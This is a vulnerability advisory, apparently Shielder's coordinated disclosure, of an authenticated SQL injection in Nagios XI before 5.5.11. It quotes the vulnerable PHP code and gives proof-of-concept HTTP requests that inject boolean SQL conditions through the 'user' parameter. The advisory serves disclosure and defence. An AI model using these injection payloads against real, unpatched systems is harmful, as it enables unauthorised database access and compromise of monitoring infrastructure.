Nagios XI 5.5.10 fusekey Authenticated SQL Injection

Summary

A SQL injection vulnerability in Nagios XI before 5.5.11 allows attackers with a valid ‘fusekey’ API key to execute arbitrary SQL commands via a malicious user id.

Product description (from vendor)

“[Nagios XI] Provides monitoring of all mission-critical infrastructure components including applications, services, operating systems, network protocols, systems metrics, and network infrastructure. Hundreds of third-party addons provide for monitoring of virtually all in-house applications, services, and systems”. For more information visit https://www.nagios.com/products/nagios-xi/.

CVE(s)

Details

Root cause analysis

Nagios XI exposes an HTTP API which can be used with fusekey API keys, which are configurable in the administration panel. The responsible code is available at nagiosxi/basedir/html/api/includes/utils-api.inc.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
    [...]
    // If we used a fusekey, we need to swap that into apikey, and check for specified user data [name/id]
    $userinfo = '';
    if (array_key_exists('fusekey', $this->request)) {
        $this->request['apikey'] = $this->request['fusekey'];
        if (array_key_exists('user', $this->request)) {
-->         $userinfo = $this->request['user'];
        }
    }
    if (!array_key_exists('apikey', $this->request) && !array_key_exists('fusekey', $this->request)) {
        throw new Exception(_('No API Key provided'));
--> } else if (!$apikey->verify_key($this->request, $this->method,
    $origin, $reason, $userinfo)) {
        throw new Exception($reason);
    }
    [...]

The API key is verified at nagiosxi/basedir/html/api/includes/utils.inc.php line 264:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
    [...]
    public function verify_key($request, $method, $origin, &$reason, $userinfo = ''){
        [...]
        if (substr($base_request, 0, 8) == 'objects/'
            [...]
            $rs = exec_sql_query(DB_NAGIOSXI, "SELECT option_id FROM xi_options WHERE name = 'fusekey' AND value ='$apikey';");
            if ($rs->RecordCount() > 0) {
                // If we specified some userinfo, we need to attempt auth as that user
                if (!empty($userinfo)) {
                    $sql = 'SELECT user_id, username, enabled FROM
xi_users WHERE ';
                    if (is_string($userinfo))
-->                     $sql .= " username = '{$userinfo}';";
                    [...]

                    $rs = exec_sql_query(DB_NAGIOSXI, $sql);
    [...]

Since $userinfo comes from user-input and is never correctly sanitized, it is possible to inject arbitrary SQL statements in the query executed by Nagios XI.

Proof of concept

  1. Edit the following HTTP request to use a valid ‘fusekey’ and send it:
1
2
3
4
GET
/nagiosxi/api/v1/index.php?request=objects/hoststatus&user=a%27or%27x%27%3d%27x&fusekey=8CF9F2A4B2769D1C3C09A098F300F02E HTTP/1.1
Host: nagiosxi.local
Connection: close

Notice the user parameter contains the additional SQL condition a'or'x'='x which always evaluates to true.

  1. By changing the payload to a'and'y'='x, which always evaluates to false, the API returns a failure error:
1
2
3
4
GET
/nagiosxi/api/v1/index.php?request=objects/hoststatus&user=a%27and%27x%27%3d%27y&fusekey=8CF9F2A4B2769D1C3C09A098F300F02E HTTP/1.1
Host: nagiosxi.local
Connection: close

Impact

An attacker with a valid Nagios XI ‘fusekey’ API key can execute arbitrary SQL commands via a malicious user id.

Remediation

Upgrade to Nagios XI 5.5.11 or later. (Note: we didn’t verify the patch.)

Disclosure timeline

This report was subject to Shielder’s disclosure policy:

  • 20/02/2019:
    • Vulnerability report is sent to vendor
    • Vendor acknowledges issue and begins triage process
  • 28/02/2019: Vendor releases Nagios XI 5.5.11
  • 10/04/2019: Shielder’s advisory is made public

Credits

`polict` of Shielder

Date

10 April 2019